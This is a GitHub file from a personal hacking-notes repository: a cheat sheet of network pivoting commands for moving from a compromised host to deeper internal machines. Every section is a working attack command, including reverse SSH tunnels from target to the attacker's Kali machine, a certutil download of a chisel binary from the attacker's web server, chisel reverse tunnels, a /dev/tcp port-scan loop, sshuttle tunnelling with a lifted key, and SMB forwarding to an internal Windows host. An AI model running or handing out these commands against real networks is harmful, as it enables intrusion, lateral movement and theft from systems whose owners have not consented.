mxhelp/mxpivot at main · mikes-hacks/mxhelp · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
===================================
Linux Internal Services (From Target)

tgt> netstat -nl
tgt> mysql -P 3306 -u root -p
tgt> ssh -R 4444:127.0.0.1:3306 kali@192.168.162.46

kali:
passwd kali                    ..temp change kali pw
service ssh start              ..listen
netstat -alnp | grep 4444
mysql -u root -h 127.0.0.1 -P 4444
vncviewer -passwd secret localhost:4444
firefox 127.0.0.1:4444

===================================
Linux Internal Service (Forward)
From Kali, Requires access to bob w/password

Quick Port Forward (Internal Website)
ssh bob@192.168.200.5 -L 80:127.0.0.1:80

VNC
ssh -L 4444:127.0.0.1:5901 -N -f bob@192.168.200.5
vncviewer -passwd secret localhost:4444

===================================
Linux SSH Shortcut
Port-Forward while you are inside a remote ssh-prompt:
$ ~C
ssh> -L 8000:127.0.0.1:80
firefox http:127.0.0.1:8000

===================================
Linux Internal Port (Expose)
From Target, take internal port 7000, expose to 8080
socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080
firefox http://192.168.200.5:8080


===================================
SSH Tunnel Port
From Kali, to Bob, to Deeper-Target

sudo ssh -N bob@192.168.200.5 -p22 -L 8080:10.1.1.1:80
firefox http://127.0.0.1:8080/


===================================
Easy Windows Chisel

netstat -nat | findstr LISTEN | findstr 127
127.0.0.1:8080 LISTENING

Share
cd ~/tools/privesc_windows
python3 -m http.server 80
certutil -urlcache -split -f http://192.168.162.46:80/chisel-amd64.exe

Connect
kali> chisel-linux64 server --reverse --port 443  -v
wind> chisel-amd64.exe client 192.168.162.46:443 R:8080:localhost:8080
kali> firefox 127.0.0.1:8080


===================================
Portscan (to Deeper Target)

IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/192.168.200.5/$port && echo "OPEN: $port" &) 2>/dev/null; done


===================================
Tunnel the Whole-Network (Linux Target)

sshuttle -r bob@192.168.200.5 192.168.200.0/24
sshuttle -r root@192.168.200.5 192.168.200.0/24 --ssh-cmd 'ssh -i ~/lab/bob/.ssh/id_rsa'

===================================
SSH Tunnel Port (Linux Target)

sudo ssh -N bob@192.168.200.5 -p22 -L 8080:10.1.1.1:80
firefox http://127.0.0.1:8080/


===================================
Windows-Chisel to Deeper-Windows

kali> chisel-linux64 server --reverse --port 443 -v
wind> chisel-amd64.exe client 192.168.162.46:443 R:127.0.0.1:3306:deeperbox:3306
kali> mysql --host=127.0.0.1 --port=3306 --user=root -p

===================================
Linux-Pivot to Deeper-Windows
Found SMB on Remote Box
Get access to the SMB on deeper box.
Forward a 'deeper' windows-target-smb port back to kali
We have access to bob@192.168.200.5 w/password
We can SMB to 10.1.1.1

Kali:
sudo ssh -N -L 0.0.0.0:445:10.1.1.1:445 bob@192.168.200.5
sudo vim /etc/samba/smb.conf
min protocol = SMB2
sudo /etc/init.d/smbd restart
smbclient -L 127.0.0.1 -U Administrator


===================================
Consider: mxtransfer mxpersist